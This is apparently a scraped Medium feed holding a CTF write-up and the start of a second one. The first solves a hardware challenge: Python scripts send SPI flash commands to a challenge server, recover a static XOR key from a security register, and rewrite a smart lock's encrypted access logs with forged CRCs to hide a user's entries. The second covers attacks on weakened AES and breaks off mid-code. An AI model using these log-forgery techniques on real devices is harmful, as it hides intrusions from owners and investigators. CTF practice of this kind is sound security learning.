W25Q128_begin(SPI_CHANNEL);<br><br>    // Erase data by Sector<br>    if (address == 0){<br>        printf(&quot;ERASE SECTOR!&quot;);<br>        n = W25Q128_eraseSector(0, true);<br>        printf(&quot;Erase Sector(0): n=%d\n&quot;,n);<br>        memset(buf,0,256);<br>        n =  W25Q128_read (0, buf, 256);<br>       <br>    }<br><br>    uint8_t buffer[sizeof(SmartLockEvent) + sizeof(uint32_t)]; // Buffer for event and CRC<br>    uint32_t crc;<br><br>    memset(buffer, 0, sizeof(SmartLockEvent) + sizeof(uint32_t));<br><br>    // Serialize the event<br>    memcpy(buffer, &amp;event, sizeof(SmartLockEvent));<br><br>    // Calculate CRC for the serialized event<br>    crc = calculateCRC32(buffer, sizeof(SmartLockEvent));<br><br>    // Append CRC to the buffer<br>    memcpy(buffer + sizeof(SmartLockEvent), &amp;crc, sizeof(crc));<br><br><br>    // Print the SmartLockEvent for debugging<br>    printf(&quot;SmartLockEvent:\n&quot;);<br>    printf(&quot;Timestamp: %u\n&quot;, event.timestamp);<br>    printf(&quot;EventType: %u\n&quot;, event.eventType);<br>    printf(&quot;UserId: %u\n&quot;, event.userId);<br>    printf(&quot;Method: %u\n&quot;, event.method);<br>    printf(&quot;Status: %u\n&quot;, event.status);<br><br>    // Print the serialized buffer (including CRC) for debugging<br>    printf(&quot;Serialized Buffer (including CRC):&quot;);<br>    for (size_t i = 0; i &lt; sizeof(buffer); ++i) {<br>        if (i % 16 == 0) printf(&quot;\n&quot;); // New line for readability every 16 bytes<br>        printf(&quot;%02X &quot;, buffer[i]);<br>    }<br>    printf(&quot;\n&quot;);<br><br><br>    // Write the buffer to flash<br>    write_to_flash(sector, address, buffer, sizeof(buffer));<br><br><br>    // Read 256 byte data from Address=0<br>    memset(buf,0,256);<br>    n =  W25Q128_read(0, buf, 256);<br>    printf(&quot;Read Data: n=%d\n&quot;,n);<br>    dump(buf,256);<br><br>    return 1;<br>}<br><br><br>// encrypts log events <br>void encrypt_data(uint8_t *data, size_t data_length, uint8_t register_number, uint32_t address) {<br>    uint8_t key[KEY_SIZE];<br><br>    read_security_register(register_number, 0x52, key); // register, address<br>    <br>    printf(&quot;Data before encryption (including CRC):\n&quot;);<br>    for(size_t i = 0; i &lt; data_length; ++i) {<br>        printf(&quot;%02X &quot;, data[i]);<br>    }<br>    printf(&quot;\n&quot;);<br><br>    // Print the CRC32 checksum before encryption (assuming the original data includes CRC)<br>    uint32_t crc_before_encryption = calculateCRC32(data, data_length - CRC_SIZE);<br>    printf(&quot;CRC32 before encryption: 0x%08X\n&quot;, crc_before_encryption);<br><br>    // Apply encryption to data, excluding CRC, using the key<br>    for (size_t i = 0; i &lt; data_length - CRC_SIZE; ++i) { // Exclude CRC data from encryption<br>        data[i] ^= key[i % KEY_SIZE]; // Cycle through  key bytes<br>    }<br><br>    printf(&quot;Data after encryption (including CRC):\n&quot;);<br>    for(size_t i = 0; i &lt; data_length; ++i) {<br>        printf(&quot;%02X &quot;, data[i]);<br>    }<br>    printf(&quot;\n&quot;);<br><br><br>}<br><br>void write_to_flash(uint32_t sector, uint32_t address, uint8_t *data, size_t length) {<br>    printf(&quot;Writing to flash at sector %u, address %u\n&quot;, sector, address);<br>    <br>    uint8_t i;<br>    uint16_t n;  <br><br>    encrypt_data(data, length, 1, address); <br><br>    n =  W25Q128_pageWrite(sector, address, data, 16);<br>    printf(&quot;page_write(0,10,d,26): n=%d\n&quot;,n);<br><br>}</pre><h4>Time to actually learn about the instructions</h4><p>Before we get into solving the challenge, we will learn how to read and write from the memory, as previously we are very lucky to be able to solve the challenge by barely knowing about the instructions, this time we really need to dive deep</p><p>The first step that we gonna do is reading from a particular address, at the previous challenge all we need to do is to read without specifying the location (presumably address 0), but this time let’s really try to understand how to do this properly</p><p>The only time consuming part about the challenge is just reading documentation again and again, I don’t think I need to go indepth on how to read documentation anymore, anyway we can see how we can read from a specific address here.</p><figure><img alt="The Read Data instruction allows one or more data bytes to be sequentially read from the memory. The
 instruction is initiated by driving the /CS pin low and then shifting the instruction code “03h” followed by a
 24-bit address (A23-A0) into the DI pin." src="https://cdn-images-1.medium.com/max/1024/1*b8eyNS-sxA_9d9LPrDydPQ.png" /></figure><p>So it’s not that difficult really, just 03 followed by 24 bit address, which is 3 byte</p><pre>from pwn import *<br>import socket<br>import json<br><br>FLAG_ADDRESS = [0x52, 0x52, 0x52]<br><br>def exchange(hex_list, value=0):<br><br>    # Configure according to your setup<br>    host = &#39;94.237.54.164&#39;  # The server&#39;s hostname or IP address<br>    port = 37972        # The port used by the server<br>    cs=0 # /CS on A*BUS3 (range: A*BUS3 to A*BUS7)<br>    <br>    usb_device_url = &#39;ftdi://ftdi:2232h/1&#39;<br><br>    # Convert hex list to strings and prepare the command data<br>    command_data = {<br>        &quot;tool&quot;: &quot;pyftdi&quot;,<br>        &quot;cs_pin&quot;:  cs,<br>        &quot;url&quot;:  usb_device_url,<br>        &quot;data_out&quot;: [hex(x) for x in hex_list],  # Convert hex numbers to hex strings<br>        &quot;readlen&quot;: value<br>    }<br>    <br>    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:<br>        s.connect((host, port))<br>        <br>        # Serialize data to JSON and send<br>        s.sendall(json.dumps(command_data).encode(&#39;utf-8&#39;))<br>        <br>        # Receive and process response<br>        data = b&#39;&#39;<br>        while True:<br>            data += s.recv(1024)<br>            if data.endswith(b&#39;]&#39;):<br>                break<br>            # print(data)<br>                <br>        response = json.loads(data.decode(&#39;utf-8&#39;))<br>        #print(f&quot;Received: {response}&quot;)<br>    return response<br><br># ===== NEW ======<br>def read_data(addr, length, quiet=False):<br>    if type(addr) != list:<br>        # split the address into 3 bytes<br>        addr = [addr &gt;&gt; 16, addr &gt;&gt; 8 &amp; 0xff, addr &amp; 0xff]<br>    res = exchange([0x03]+addr, length)<br>    if not quiet:<br>        print(&quot;read:&quot;,[hex(x) for x in res])<br>    return res<br><br>print(bytes(read_data(FLAG_ADDRESS, 100)))</pre><figure><img alt="The bytes at the flag address are currently empty" src="https://cdn-images-1.medium.com/max/616/1*-HUmy0RUAt12MJy5Pobb0g.png" /></figure><p>curently, reading the flag address will not give us anything, this is because we haven’t done the objective yet</p><p>Now let’s try writing, for our experiment we will also try to write to the flag address, we will write some data and read it to see if it works</p><p>It’s so frustrating to not be able to find the words “Write Data” at the documentation, quick google search will say that write data uses opcode 02, which if we check on the datasheet is indeed writing data but have a very unintuitive name</p><figure><img alt="The Page Program instruction allows from one byte to 256 bytes (a page) of data to be programmed at
 previously erased (FFh) memory locations. A Write Enable instruction must be executed before the device
 will accept the Page Program Instruction" src="https://cdn-images-1.medium.com/max/1024/1*_zOJaTDfxYntyTJ5QC4bMg.png" /></figure><p>Okay so in order to be able to write, the data must be erased (is 0xFF), and also we have to call a write enable instruction before doing it. Reading the documentation tells us that Write Enable instruction is at 0x06</p><pre>def write_enable():<br>    x = exchange([0x06], 100)<br>    # print([hex(x) for x in x])<br>    return<br><br>def write_data(addr, data):<br>    write_enable()<br>    if type(addr) != list:<br>        # split the address into 3 bytes<br>        addr = [addr &gt;&gt; 16, addr &gt;&gt; 8 &amp; 0xff, addr &amp; 0xff]<br>    x = exchange([0x02]+addr+data, 100)<br>    print(&quot;write:&quot;,data)<br>    return<br><br>print(bytes(read_data(FLAG_ADDRESS, 10)))<br>write_data(FLAG_ADDRESS, [0x42]*10)<br>print(bytes(read_data(FLAG_ADDRESS, 10)))</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*76xQNA4rgHLssvJHcWgMog.png" /></figure><p>Cool! Now we can read and write data, but remember that the documentation said that we can only write when the memory is at 0xFF, a quick google search will tell you that it’s because the instruction is only turning off the on switch and not vice versa, so for example we can write 101 from 111 by turning off the second bit, but we can’t do it vice versa</p><p>So now the last basic instruction we need to learn about is the erase instruction</p><p>Looking at the datasheet, this is the only thing I can find about erasing</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lonGD4y7Twy2uIVFtbvGYw.png" /><figcaption>There are also block erase which does the same thing but for the range of 32KB, and 64KB which is just as bad</figcaption></figure><p>It appears that we can’t erase an individual memory, we have to erase the entire sector, which is the range of 4KB, but needless to say let’s give it a try</p><pre>def erase_data(addr):<br>    write_enable()<br>    if type(addr) != list:<br>        # split the address into 3 bytes<br>        addr = [addr &gt;&gt; 16, addr &gt;&gt; 8 &amp; 0xff, addr &amp; 0xff]<br>    x = exchange([0x20]+addr, 10)<br>    print(&quot;erase:&quot;,[hex(x) for x in x])<br>    return<br><br>read_data(FLAG_ADDRESS, 10)<br>write_data(FLAG_ADDRESS, [0x42]*10)<br>read_data(FLAG_ADDRESS, 10)<br>erase_data(FLAG_ADDRESS)<br>read_data(FLAG_ADDRESS, 10)</pre><figure><img alt="The read write and erase instruction are succesful" src="https://cdn-images-1.medium.com/max/995/1*goz9KWdfGPcHkSinZEFACA.png" /></figure><p>Looks good to me!</p><h4>Understanding the challenge</h4><p>Now that we can manipulate the memory from the client, we can now starts to understand how the challenge is structured, from the description, it says that it write some logs into the memory, and we have to overwrite some logs to cover our tracks. but if you read the memory starting from address 0, it’s all gibberish, let’s see how the logs are written.</p><pre>int log_event(const SmartLockEvent event, uint32_t sector, uint32_t address) {<br><br>    bool memory_verified = false;<br>    uint8_t i;<br>    uint16_t n;  <br>    uint8_t buf[256];   <br><br><br>    memory_verified = verify_flashMemory();<br>    if (!memory_verified) return 0;<br><br>     // Start Flash Memory<br>    W25Q128_begin(SPI_CHANNEL);<br><br>    // Erase data by Sector<br>    if (address == 0){<br>        printf(&quot;ERASE SECTOR!&quot;);<br>        n = W25Q128_eraseSector(0, true);<br>        printf(&quot;Erase Sector(0): n=%d\n&quot;,n);<br>        memset(buf,0,256);<br>        n =  W25Q128_read (0, buf, 256);<br>       <br>    }<br><br>    uint8_t buffer[sizeof(SmartLockEvent) + sizeof(uint32_t)]; // Buffer for event and CRC<br>    uint32_t crc;<br><br>    memset(buffer, 0, sizeof(SmartLockEvent) + sizeof(uint32_t));<br><br>    // Serialize the event<br>    memcpy(buffer, &amp;event, sizeof(SmartLockEvent));<br><br>    // Calculate CRC for the serialized event<br>    crc = calculateCRC32(buffer, sizeof(SmartLockEvent));<br><br>    // Append CRC to the buffer<br>    memcpy(buffer + sizeof(SmartLockEvent), &amp;crc, sizeof(crc));<br><br><br>    // Print the SmartLockEvent for debugging<br>    printf(&quot;SmartLockEvent:\n&quot;);<br>    printf(&quot;Timestamp: %u\n&quot;, event.timestamp);<br>    printf(&quot;EventType: %u\n&quot;, event.eventType);<br>    printf(&quot;UserId: %u\n&quot;, event.userId);<br>    printf(&quot;Method: %u\n&quot;, event.method);<br>    printf(&quot;Status: %u\n&quot;, event.status);<br><br>    // Print the serialized buffer (including CRC) for debugging<br>    printf(&quot;Serialized Buffer (including CRC):&quot;);<br>    for (size_t i = 0; i &lt; sizeof(buffer); ++i) {<br>        if (i % 16 == 0) printf(&quot;\n&quot;); // New line for readability every 16 bytes<br>        printf(&quot;%02X &quot;, buffer[i]);<br>    }<br>    printf(&quot;\n&quot;);<br><br><br>    // Write the buffer to flash<br>    write_to_flash(sector, address, buffer, sizeof(buffer));<br><br><br>    // Read 256 byte data from Address=0<br>    memset(buf,0,256);<br>    n =  W25Q128_read(0, buf, 256);<br>    printf(&quot;Read Data: n=%d\n&quot;,n);<br>    dump(buf,256);<br><br>    return 1;<br>}<br><br>void encrypt_data(uint8_t *data, size_t data_length, uint8_t register_number, uint32_t address) {<br>    uint8_t key[KEY_SIZE];<br><br>    read_security_register(register_number, 0x52, key); // register, address<br>    <br>    printf(&quot;Data before encryption (including CRC):\n&quot;);<br>    for(size_t i = 0; i &lt; data_length; ++i) {<br>        printf(&quot;%02X &quot;, data[i]);<br>    }<br>    printf(&quot;\n&quot;);<br><br>    // Print the CRC32 checksum before encryption (assuming the original data includes CRC)<br>    uint32_t crc_before_encryption = calculateCRC32(data, data_length - CRC_SIZE);<br>    printf(&quot;CRC32 before encryption: 0x%08X\n&quot;, crc_before_encryption);<br><br>    // Apply encryption to data, excluding CRC, using the key<br>    for (size_t i = 0; i &lt; data_length - CRC_SIZE; ++i) { // Exclude CRC data from encryption<br>        data[i] ^= key[i % KEY_SIZE]; // Cycle through  key bytes<br>    }<br><br>    printf(&quot;Data after encryption (including CRC):\n&quot;);<br>    for(size_t i = 0; i &lt; data_length; ++i) {<br>        printf(&quot;%02X &quot;, data[i]);<br>    }<br>    printf(&quot;\n&quot;);<br><br><br>}<br><br>void write_to_flash(uint32_t sector, uint32_t address, uint8_t *data, size_t length) {<br>    printf(&quot;Writing to flash at sector %u, address %u\n&quot;, sector, address);<br>    <br>    uint8_t i;<br>    uint16_t n;  <br><br>    encrypt_data(data, length, 1, address); <br><br>    n =  W25Q128_pageWrite(sector, address, data, 16);<br>    printf(&quot;page_write(0,10,d,26): n=%d\n&quot;,n);<br><br>}</pre><p>The flow is not as difficult as it looks, here is some high level explanation</p><pre>1. The logs are in a form of a struct<br>2. The struct are written into a buffer<br>3. Calculate the CRC of the buffer and append it to the end of the buffer<br>4. The buffer (not including the CRC) is xored by a static key taken from the security register<br>5. The buffer and the CRC is written to the memory in block of 16</pre><p>If analyzing this feels hard for you, its okay, I myself spent hours just trying to understand the source code, I tried my best to summarize stuff along the way so we doesn’t waste too much time</p><p>Before we continue, we must learn another new instruction, that is the Read Security Register instruction, this instruction reads from a register, which probably has the same concept as regular executable register. Looking at the documentation we can see that the Read Security Register uses opcode 0x48</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gZ_Zz-pVpyHzaWve5jlswg.png" /></figure><p>In the C file we know that we want to read from Security Register #1 from address 0x52, so lets do it</p><pre>def read_security_register(addr, length):<br>    x = exchange([0x48]+[0,0b0001_0000,addr], length)<br>    print([hex(x) for x in x])<br>    return x<br><br>key = bytes(read_security_register(0x52, 12))+b&quot;\x00&quot;*4</pre><p>Remember that the CRC does not get XORed, thus I set the last 4 bytes of the key to be null</p><p>With all our knowledge now this has become a regular reversing challenge, all we need is just patients to slowly analyzing the code and implement it.</p><p>Now we can write a parser for the logs, it reads from the memory, XOR it with the key, and parse its struct structure and the CRC</p><pre>def get_crc(data):<br>    crc = 0xFFFFFFFF<br>    for i in range(len(data)):<br>        crc ^= data[i]<br>        for j in range(8):<br>            if crc &amp; 1:<br>                crc = (crc &gt;&gt; 1) ^ 0xEDB88320<br>            else:<br>                crc &gt;&gt;= 1<br>    return crc ^ 0xFFFFFFFF<br><br>def parse_event(event):<br>    timestamp = event[0:4]<br>    eventType = event[4]<br>    userId = event[6:8] # this might look odd, but after experimenting in C this is exactly how the struct is converted into the buffer, idk why<br>    method = event[8]<br>    status = event[9]<br>    crcs = event[-4:]<br>    computed_crc = get_crc(event[0:-4]).to_bytes(4, &quot;little&quot;)<br>    print({<br>        &quot;timestamp&quot;: (int.from_bytes(timestamp, &quot;little&quot;)),<br>        &quot;eventType&quot;: eventType,<br>        &quot;userId&quot;: hex(int.from_bytes(userId, &quot;little&quot;)),<br>        &quot;method&quot;: method,<br>        &quot;status&quot;: status<br>    })<br>    assert computed_crc == crcs<br>    print(&quot;CRC OK&quot;)<br><br>def read_and_parse_event(idx, amount=1):<br>    res = bytes(read_data(16*idx, 16*amount))<br>    structs = (xor(res,key))<br>    structs = [structs[i:i+16] for i in range(0, len(structs), 16)]<br>    events = []<br>    for _,i in enumerate(structs):<br>        print(_, end=&#39; &#39;)<br>        parse_event(i)<br>        events.append(i)<br>    return events<br><br>read_and_parse_event(0, amount=10)</pre><figure><img alt="The script now parses the logs correctly" src="https://cdn-images-1.medium.com/max/1024/1*iJfspByPr1oxofsBB9-ViA.png" /></figure><p>This looks really really promising, the timestamp is strictly increasing, the status and method stays low, and the CRC matches. We are on the right path</p><p>Now it’s time to find which logs contains our userId, 0x5244. After reading at all the logs I finally found our user logs at the last 4 log, that is at index 156–160</p><pre>read_and_parse_event(156, amount=4)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l-Q-35WSDI70XeOFXJzZ-Q.png" /></figure><h4>Putting Everything Together</h4><p>So now all we need is to change this particular log, remember, we cannot change any other log, only this 4 logs, also there are CRC checking which means that we have to recalculate the CRC as well, this is no issue as we already implemented the CRC function ourself.</p><p>We already learn about reading, writing, and erasing data. Remember that erasing data can only be done in sectors. This means that we will clear the entire logs, rewrite old logs, and then write our new modified logs only at index 156–160</p><p>After putting everything together, this is what our final script will look like</p><pre>from pwn import *<br>import socket<br>import json<br><br>FLAG_ADDRESS = [0x52, 0x52, 0x52]<br>START = 156<br>LOG_LEN = 16<br>LOGS_AMOUNT = 4<br><br>def exchange(hex_list, value=0):<br><br>    # Configure according to your setup<br>    host = &#39;94.237.54.170&#39;  # The server&#39;s hostname or IP address<br>    port = 54714        # The port used by the server<br>    cs=0 # /CS on A*BUS3 (range: A*BUS3 to A*BUS7)<br>    <br>    usb_device_url = &#39;ftdi://ftdi:2232h/1&#39;<br><br>    # Convert hex list to strings and prepare the command data<br>    command_data = {<br>        &quot;tool&quot;: &quot;pyftdi&quot;,<br>        &quot;cs_pin&quot;:  cs,<br>        &quot;url&quot;:  usb_device_url,<br>        &quot;data_out&quot;: [hex(x) for x in hex_list],  # Convert hex numbers to hex strings<br>        &quot;readlen&quot;: value<br>    }<br>    <br>    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:<br>        s.connect((host, port))<br>        <br>        # Serialize data to JSON and send<br>        s.sendall(json.dumps(command_data).encode(&#39;utf-8&#39;))<br>        <br>        # Receive and process response<br>        data = b&#39;&#39;<br>        while True:<br>            data += s.recv(1024)<br>            if data.endswith(b&#39;]&#39;):<br>                break<br>            # print(data)<br>                <br>        response = json.loads(data.decode(&#39;utf-8&#39;))<br>        #print(f&quot;Received: {response}&quot;)<br>    return response<br><br>def write_enable():<br>    x = exchange([0x06], 100)<br>    # print([hex(x) for x in x])<br>    return<br><br>def read_data(addr,length,quiet=False):<br>    if type(addr) != list:<br>        # split the address into 3 bytes<br>        addr = [addr &gt;&gt; 16, addr &gt;&gt; 8 &amp; 0xff, addr &amp; 0xff]<br>    jedec_id = exchange([0x03]+addr, length)<br>    if not quiet:<br>        print(&quot;read:&quot;,[hex(x) for x in jedec_id])<br>    return jedec_id<br><br>def erase_data(addr):<br>    write_enable()<br>    if type(addr) != list:<br>        # split the address into 3 bytes<br>        addr = [addr &gt;&gt; 16, addr &gt;&gt; 8 &amp; 0xff, addr &amp; 0xff]<br>    x = exchange([0x20]+addr, 10)<br>    print(&quot;erase:&quot;,[hex(x) for x in x])<br>    return<br><br>def write_data(addr, data):<br>    write_enable()<br>    if type(addr) != list:<br>        # split the address into 3 bytes<br>        addr = [addr &gt;&gt; 16, addr &gt;&gt; 8 &amp; 0xff, addr &amp; 0xff]<br>    x = exchange([0x02]+addr+data, 100)<br>    print(&quot;write:&quot;,data)<br>    return<br><br>def read_security_register(addr, length):<br>    x = exchange([0x48]+[0,0b0001_0000,addr], length)<br>    print([hex(x) for x in x])<br>    return x<br><br>def get_crc(data):<br>    crc = 0xFFFFFFFF<br>    for i in range(len(data)):<br>        crc ^= data[i]<br>        for j in range(8):<br>            if crc &amp; 1:<br>                crc = (crc &gt;&gt; 1) ^ 0xEDB88320<br>            else:<br>                crc &gt;&gt;= 1<br>    return crc ^ 0xFFFFFFFF<br><br>def parse_event(event):<br>    timestamp = event[0:4]<br>    eventType = event[4]<br>    userId = event[6:8]<br>    method = event[8]<br>    status = event[9]<br>    crcs = event[-4:]<br>    computed_crc = get_crc(event[0:-4]).to_bytes(4, &quot;little&quot;)<br>    print({<br>        &quot;timestamp&quot;: (int.from_bytes(timestamp, &quot;little&quot;)),<br>        &quot;eventType&quot;: eventType,<br>        &quot;userId&quot;: hex(int.from_bytes(userId, &quot;little&quot;)),<br>        &quot;method&quot;: method,<br>        &quot;status&quot;: status<br>    })<br>    assert computed_crc == crcs<br>    print(&quot;CRC OK&quot;)<br><br>key = bytes(read_security_register(0x52, 12))+b&quot;\x00&quot;*4<br>def read_and_parse_event(idx, amount=1):<br>    res = bytes(read_data(16*idx, 16*amount))<br>    structs = (xor(res,key))<br>    structs = [structs[i:i+16] for i in range(0, len(structs), 16)]<br>    events = []<br>    for _,i in enumerate(structs):<br>        print(_, end=&#39; &#39;)<br>        parse_event(i)<br>        events.append(i)<br>    return events<br><br>def change_user_id_and_recalc_crc(event, new_id):<br>    event = bytearray(event)<br>    print(&quot;old&quot;, end=&#39; &#39;)<br>    parse_event(event)<br>    event[6:8] = new_id.to_bytes(2, &quot;little&quot;)<br>    event[-4:] = get_crc(event[0:-4]).to_bytes(4, &quot;little&quot;)<br>    try:<br>        print(&quot;new&quot;, end=&#39; &#39;)<br>        parse_event(event)<br>    except:<br>        print(&#39;MISMATCH!&#39;)<br>    return event<br><br>print(&quot;Sanity check, reading the flag&quot;)<br>print(bytes(read_data(FLAG_ADDRESS, 100)))<br>print(&quot;---&quot;)<br><br>print(&quot;Sanity check, checking first event&quot;)<br>read_and_parse_event(0)<br>print(&quot;---&quot;)<br><br>old_data = read_data(0, START*LOG_LEN, quiet=True)<br>old_data = [old_data[i:i+128] for i in range(0, len(old_data), 128)]<br>to_write = read_and_parse_event(START, LOGS_AMOUNT)<br><br>input(&quot;Press enter to continue to recalculate crc&quot;)<br>for i in range(LOGS_AMOUNT):<br>    to_write[i] = xor(change_user_id_and_recalc_crc(to_write[i], 0x1337), key)<br><br>input(&quot;Press enter to continue to write&quot;)<br>erase_data(0)<br>for i in range(len(old_data)):<br>    write_data(i*128, list(old_data[i]))<br><br>print(&quot;Old data has been restored&quot;)<br>print(&quot;Sanity check, checking first event&quot;)<br>read_and_parse_event(0)<br><br>print(&quot;Now writing modified logs&quot;)<br>for i in range(LOGS_AMOUNT):<br>    write_data((START+i)*LOG_LEN, list(to_write[i]))<br><br>print(bytes(read_data(FLAG_ADDRESS, 100)))</pre><figure><img alt="After running the script and waiting for the execution, we finally get the flag" src="https://cdn-images-1.medium.com/max/643/1*ENHVZfsQhvQuAWKmbSCXjg.png" /></figure><p>And there you have it! We have conquered the entirety of hardware category without any prior knowledge of hardware. If you have any question feel free to reach out to me @wrth via discord :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2633187210f5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cracking AES Without any one of its Operations]]></title>
            <link>https://wrth.medium.com/cracking-aes-without-any-one-of-its-operations-c42cdfc0452f?source=rss-686d673f53f0------2</link>
            <guid isPermaLink="false">https://medium.com/p/c42cdfc0452f</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[sae]]></category>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[advanced-encryption]]></category>
            <category><![CDATA[rijndael]]></category>
            <dc:creator><![CDATA[Bill Elim]]></dc:creator>
            <pubDate>Fri, 27 Oct 2023 08:30:56 GMT</pubDate>
            <atom:updated>2023-10-27T08:51:05.245Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*ezJfD2BfjHND4kEbt31Xmg.png" /></figure><p>Upon learning AES especially for CTF, one might start from an attack that doesn’t really requires the deep knowledge of its internals (e.g <a href="https://dr3dd.gitlab.io/cryptography/2018/10/11/Simple-Attack-On-AES-ECB-Mode/">AES-ECB padding attack</a>, <a href="https://zhangzeyu2001.medium.com/attacking-cbc-mode-bit-flipping-7e0a1c185511">AES-CBC bitflip attack</a>). But the other day I stumbled across <a href="https://crypto.stackexchange.com/questions/20228/consequences-of-aes-without-any-one-of-its-operations">this forum</a> and think that it will be an interesting topic to explore the inner workings of AES and try to see some new way of attacking a faulty AES.</p><p>In short, AES transforms the plaintext using these 4 operations:</p><p>1. SubBytes: Just like substitution cipher<br>2. ShiftRows: Shifting some rows in the matrix<br>3. MixColumns: Mixing some columns in the matrix<br>4. AddRoundKey: xor-ing the text with some values derived from the key (the round key is different each round)</p><p>If combined these operations creates a pretty secure encryption scheme, especially against things like chosen plaintext attack, this then raised the question, what if we remove one of the operation?</p><p>We’ll first take a quick look on how these operation works, including whether or not they’re linear and key-dependent. Linear means the transformation is, well… linear (can be expressed as Mx + B), while key-dependent means different key will have different result for the transformation, that is non key-dependent transformation doesn’t necessarily needs a key to perform the transformation.</p><p>1. SubBytes: <strong>non-linear</strong>, not key-dependent<br>2. ShiftRows: linear, not key-dependent<br>3. MixColumns: linear, not key-dependent<br>4. AddRoundKey: linear, <strong>key-dependent</strong></p><p>We can see that there is one non-linear function and one key-dependent function, the key-dependent function is important for obvious reason. But why is a non-linear function so important? We’ll discuss it later but first</p><h3>Nerfed AES 1: AES Without AddRoundKey</h3><p>Consider the following challenge (From now on we will use <a href="https://github.com/bozhu/AES-Python/blob/master/aes.py">Bo Zhu AES Implementation</a>)</p><pre>from aes import AES<br>import os<br><br>do_nothing = lambda *x: None<br><br>c = AES(os.urandom(16))<br>c._add_round_key = do_nothing<br>p = b&quot;Very secret text&quot;<br>ciphertext = c.encrypt(p)<br>print(ciphertext.hex())<br># 11633a27deebd11d08c18fa6619b008e</pre><p>Here we can see that we have changed the AES to AddRoundKey function to actually do nothing, essentially removing the only key-dependent function from the algorithm, this means that we don’t even need the key anymore, we can just reverse the entire transformation</p><pre>from aes import AES<br><br>ciphertext = bytes.fromhex(&quot;11633a27deebd11d08c18fa6619b008e&quot;)<br>c = AES(b&quot;blahdoesntmatter&quot;)<br>c._add_round_key = lambda *x: None<br>print(c.decrypt(ciphertext))</pre><h3>Nerfed AES 2: AES Without SubBytes</h3><p>Well the first one was easy, but what about this one? In order to understand this, we first need to really understand how these 4 operations are used in AES</p><p>AES transforms our plaintext in 10 rounds:</p><p>Round 0: AddRoundKey<br>Round 1–9: SubBytes, ShiftRows, MixColumns, AddRoundKey<br>Round 10: SubBytes, ShiftRows, AddRoundKey</p><p>If SubBytes is gone, the resulting transformation looks like this:</p><p>Round 0: AddRoundKey<br>Round 1–9: ShiftRows, MixColumns, AddRoundKey<br>Round 10: ShiftRows, AddRoundKey</p><p>This makes the entire transformation linear, let’s see how we can exploit it.</p><h4>Prerequisite: Transformation Matrix</h4><p>Before we get into the attack, we must first understand about linear transformation, usually to operate a 16 bytes plaintext, it is converted to a matrix, functions like ShiftRows and MixColumns operates the same way as a regular transposition (moving around the elements in the matrix to different position)</p><p>Consider the following data:</p><p>[1, 2, 3, 4, 5]</p><p>Now lets say that we want to shuffle the data to something like [2, 5, 4, 1, 3], we can actually transform this to become some sort of equation by treating the data as a matrix and multiplying it by some <strong>transformation matrix, f</strong>or example:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mYQ4mi2-K1RK7bfTdrInLQ.png" /></figure><p>By understanding this, we can now model the transformation of ShiftRows and MixColumns as some sort of matrix transformation. You can check the details <a href="https://crypto.stackexchange.com/questions/89596/linear-aes-expression-of-k-in-aesp-apk?noredirect=1&amp;lq=1">here</a>, but we will just assume the ShiftRow transformation Matrix as <strong>S</strong> and the MixColumns transformation as <strong>M</strong></p><p>After that, we can transform the entire AES into some equation.<br>Let’s treat our plaintext as a matrix <strong>P, </strong>We will then simulate the entire nerfed AES, first round we perform AddRoundKey</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/99/1*oc2G89xq87f6VGA0GHsD6Q.png" /><figcaption>k_i is the i-th round’s key</figcaption></figure><p>And then for the next 9 rounds, we will perform ShiftRows, MixColumns, and AddRoundKey</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/217/1*7EmWXHVa-OGVH4J3NI1wFA.png" /></figure><p>Now for simplicity let’s create a new matrix <strong>A</strong> <strong>= MS</strong>, this gives us:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/385/1*wojxfZlI_wPjUsifzTAq4A.png" /></figure><p>Finally adding to the last round we only use ShiftRows and AddRoundKey</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*apah2rpz82tcwy0Zy4MBVA.png" /></figure><p>Now let’s expand the equation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/496/1*qFSi3HALvIIiRak3JLAwhg.png" /></figure><p>Let’s introduce a new variable <strong>K</strong> where</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/392/1*Wm8EAlpLNIg36OeeXiaIiQ.png" /></figure><p>Now the whole equation becomes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/187/1*HLTNn-q7sKxMVSnNNGO5JA.png" /></figure><p>Notice that <strong>K</strong> is only there because of the AddRoundKey function, that is, without AddRoundKey, the entire ciphertext becomes SA⁹P.<br>Also notice that SA⁹ is <strong>not key-dependent, </strong>this means that we CAN precalculate this</p><p>So here’s the plan:</p><ol><li>Find a plaintext-ciphertext pair that is encrypted without SubBytes</li><li>Compute SA⁹P (Just AES encryption without SubBytes and AddRoundKey)</li><li>Recover K = C - SA⁹P</li><li>From now on to recover any plaintext given C, simply calculate <br>SA⁹P = C - K and use your favorite matrix equation solving technique to find P</li></ol><p>There is just one problem, pre-computing SA⁹ is not that simple, looking at our previous example, here is one such matrix that is also the valid transformation matrix</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S0D4wSwcPfVOIRGoOPDoYA.png" /></figure><p>So there is multiple solution when trying to infer SA⁹ from SA⁹P, if you use something like solve_left in SageMath, this won’t work, because it only gives you one solution.</p><p>Upon doing some research I found out about <a href="https://crypto.stackexchange.com/questions/89596/linear-aes-expression-of-k-in-aesp-apk/89607#89607">Daniel’s answer that explains the calculation in great detail</a>, so I decided to implement it.</p><p>Here is a quick PoC</p><pre>from sage.all import 